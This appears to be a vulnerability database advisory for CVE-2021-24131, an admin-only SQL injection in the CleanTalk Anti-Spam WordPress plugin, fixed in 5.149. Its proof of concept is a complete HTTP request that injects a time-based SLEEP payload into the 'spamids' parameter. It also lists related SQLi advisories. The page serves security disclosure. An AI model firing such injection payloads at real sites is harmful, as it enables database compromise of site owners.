Anti-Spam by CleanTalk < 5.149 – Multiple Authenticated SQL Injections | CVE 2021-24131 | Plugin Vulnerabilities

Description

Multiple authenticated SQL injections in the Anti-Spam by CleanTalk plugin 5.148 exist, however, it requires high privilege user (admin+).

Proof of Concept

Vulnerable functions: `removeLogs` and `removeSpam` at: lib/Cleantalk/ApbctWP/FindSpam/ListTable/Users.php

Sleep query:

```
POST /wp-admin/users.php?page=ct_check_users&ct_worked=1 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 162

_wpnonce=2a613d258a&_wp_http_referer=%2Fwp-admin%2Fusers.php%3Fpage%3Dct_check_users%26ct_worked%3D1&action=-1&paged=1&spamids%5B%5D=30)+OR+SLEEP(1&action2=delete
```

Affects Plugins

cleantalk-spam-protect

Fixed in 5.149

References

CVE

URL

https://plugins.trac.wordpress.org/changeset/2421575

Classification

Type

SQLI

OWASP top 10

CWE

CVSS

Miscellaneous

Original Researcher

Nguyen Anh Tien

Submitter

Nguyen Anh Tien

Submitter website

https://research.sun-asterisk.com/

Submitter twitter

Verified

Yes

WPVDB ID

1bc28021-28c0-43fa-b89e-6b93c345e5d8

Timeline

Publicly Published

2020-11-20 (about 5 years ago)

Added

2020-11-20 (about 5 years ago)

Last Updated

2021-01-23 (about 4 years ago)

Other

Published

Title

Published

2023-08-17

Title

Contact form 7 Custom validation <= 1.1.3 - Unauthenticated SQLi

Published

2025-04-14

Title

TS Poll – Survey, Versus Poll, Image Poll, Video Poll < 2.4.7 - Authenticated (Administrator+) SQL Injection via 's' Parameter

Published

2024-12-14

Title

Mollie for Contact Form 7 <= 5.0.0 - Authenticated (Administrator+) SQL Injection

Published

2025-08-14

Title

Gestion de tarifs <= 1.4 - Authenticated (Contributor+) SQL Injection

Published

2022-12-24

Title

Conditional Payment Methods for WooCommerce <= 1.0 - Admin+ SQLi